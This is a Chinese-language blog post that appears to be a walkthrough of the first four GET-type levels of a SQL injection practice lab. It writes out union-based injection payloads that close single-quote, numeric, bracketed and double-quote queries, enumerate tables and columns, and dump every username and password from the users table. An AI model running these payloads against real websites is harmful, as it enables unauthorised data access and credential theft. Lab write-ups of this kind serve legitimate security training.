ARTICLE DETAIL

建站实战干货

来自一线的建站与推广经验沉淀,每一条都经过真实交付验证。

sql injections解题GET型前四道

2026/8/12 17:32:53 拓冰建站 浏览量
sql injections解题GET型前四道 基本错误单引号字符串打开小皮启动Apache和MySQL点击题目在这里插入先id1#(mysql)确定搜索位置地址末尾加’确认是单引号闭合查询字段数在刚刚后面空格order by 数字页面没变说明存在这个就是不存在的我们要先查询字段因为后面union要求一一对应才显示?id1是定位后面是具体执行语句爆破当前数据库名称?id-1’ union select 1,database(),3%23(将id1改为id-1这样显示的是union的内容)不用-1页面优先显示原来结果?id-1’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema‘security’%23information_schema.tablesMySQL 系统表存所有库、表信息table_schema‘security’只查 security 这个库的表group_concat()把所有表名拼接成一行一次性全部展示database() 是 MySQL 内置函数不带参数功能只有一个返回当前正在使用的数据库名称7. ?id-1’ union select 1,group_concat(column_name),3 from information_schema.columns where table_schema‘security’ and table_name‘users’%23information_schema.columns存储所有数据表的字段列信息column_name字段名用来取出 users 表里所有列双重限制table_schema‘security’ 指定库table_name‘users’ 指定表8. ?id-1’ union select 1,group_concat(username,0x7c,password),3 from users%23union select 1,xxx,3固定 3 列匹配页面回显位置group_concat(字段1,0x7c,字段2)0x7c 十六进制 | 竖线分隔符区分账号和密码一次性拼接表里所有数据全部展示在页面from users目标存储账号密码的数据表第二题数字型输入1.同上查询字段发现仍然是3字段上一题我们第一步确定搜索位置时候在1后面加了’是因为我们要先一步闭合逻辑让程序执行到我们的id-1从而显示运行内容在查询我们要的东西时数据库会自己整个查询一遍我们要把这个偷偷显示出来数字型输入id1后面不加东西2. union select 1,2,3%233. 2改成database来获得数据库名称security这里只能改231在显示位不显示4.查询全部表名/id-1 union select i,group_concat(table_name),3 from information_schema.tableswhere (注意-和最后的s)table_schema‘security’%234. 字段是把上面除了table_schema其他的table全部换成column,注意information_schema.tables改后最后是columns最后加and table_nameusers;union select 1,group_concat(column_name),3 from information_schema.columns where table_schema‘security’ and table_name‘users’5. ,group_concat(username),group_concat(password) from users前面不变select1展位id了id也可以显示但是这个题目没有给id的回显窗口3单引号括号闭合1.前面改是?id1’)后面都不变注意是schema?id-1%27)union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema‘security’%20and%20table_name‘users’%23注意这个后面有from users4 双引号、字符串型(带括号)这个和第一题不一样在运行时候在读取时候1后面会出现两个双引号所以当界面显示错误时候反而证明他是双引号出现同类时候才会结束这个语句如果在我们输入后面加之前的#是没有用的这个#在这里在两个双引号中间被认为是普通语句而不是执行语句注意在之后的内容中最后人要有%23来截断查字段3这个是因为前面少了一个所以探测时候不加的原因但是因为union执行时候是严格对应的所以union时候要加上和前面一样数据库名称表名?id-1)%20union%20select%201,group_concat(username,0x7c,password),3%20from%20users%23可以写成和23题一样的只是最后表示不太一样